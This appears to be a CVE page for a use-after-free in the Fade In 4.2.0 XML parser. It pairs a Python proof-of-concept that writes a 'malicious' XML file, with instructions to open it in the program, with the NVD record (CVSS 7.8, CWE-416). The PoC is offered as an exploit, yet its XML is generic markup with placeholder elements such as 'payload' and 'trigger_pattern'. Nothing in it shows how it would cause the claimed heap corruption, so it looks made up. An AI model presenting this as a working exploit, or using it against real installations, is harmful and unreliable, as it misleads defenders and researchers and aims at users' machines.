CVE-2025-53814

#!/usr/bin/env python3 # CVE-2025-53814 PoC - Fade In XML Parser Use-After-Free # Generate malicious XML file to trigger UAF in Fade In 4.2.0 import os def generate_malicious_xml(): """ Generate a crafted XML file that triggers use-after-free vulnerability in Fade In XML parser. The vulnerability occurs when the XML parser frees a node but continues to reference the freed memory during subsequent parsing operations. """ # Crafted XML structure to trigger UAF condition # The specific structure causes the parser to free a node # while still holding a reference to it malicious_xml = '''<?xml version="1.0" encoding="UTF-8"?> <fadein_project version="4.2.0"> <metadata> <title>Test Project</title> <author>Security Test</author> </metadata> <content> <scene id="scene1"> <action>INT. OFFICE - DAY</action> <dialogue> <character>CHARACTER1</character> <text>Sample dialogue text</text> </dialogue> </scene> <!-- Crafted structure to trigger UAF: Nested elements with specific attributes that cause the parser to release memory prematurely while maintaining references to freed node data. --> <payload> <item attr1="value1" attr2="value2"> <subitem> <deepitem data="trigger_pattern"> </deepitem> </subitem> </item> <!-- Multiple nested elements to manipulate heap layout --> <trigger> <level1> <level2> <level3 reference="reuse"> </level3> </level2> </level1> </trigger> </payload> </content> </fadein_project> ''' return malicious_xml def main(): # Generate the malicious XML file xml_content = generate_malicious_xml() output_file = "CVE-2025-53814_poc.xml" with open(output_file, 'w', encoding='utf-8') as f: f.write(xml_content) print(f"[+] Generated malicious XML file: {output_file}") print(f"[+] File size: {os.path.getsize(output_file)} bytes") print("\n[!] This PoC triggers a use-after-free in Fade In 4.2.0 XML parser") print("[!] The crafted XML file causes heap corruption when opened") print("\n[+] Usage: Open this file with Fade In 4.2.0 to trigger vulnerability") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-53814", "sourceIdentifier": "[email protected]", "published": "2025-10-28T14:15:58.973", "lastModified": "2025-12-02T16:04:34.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free vulnerability exists in the XML parser functionality of GCC Productions Inc. Fade In 4.2.0. A specially crafted .xml file can lead to heap-based memory corruption. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:generalcoffee:fade_in:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "A98957CF-00E6-49DE-BF6D-DF8E143AD113"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2252", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2252", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}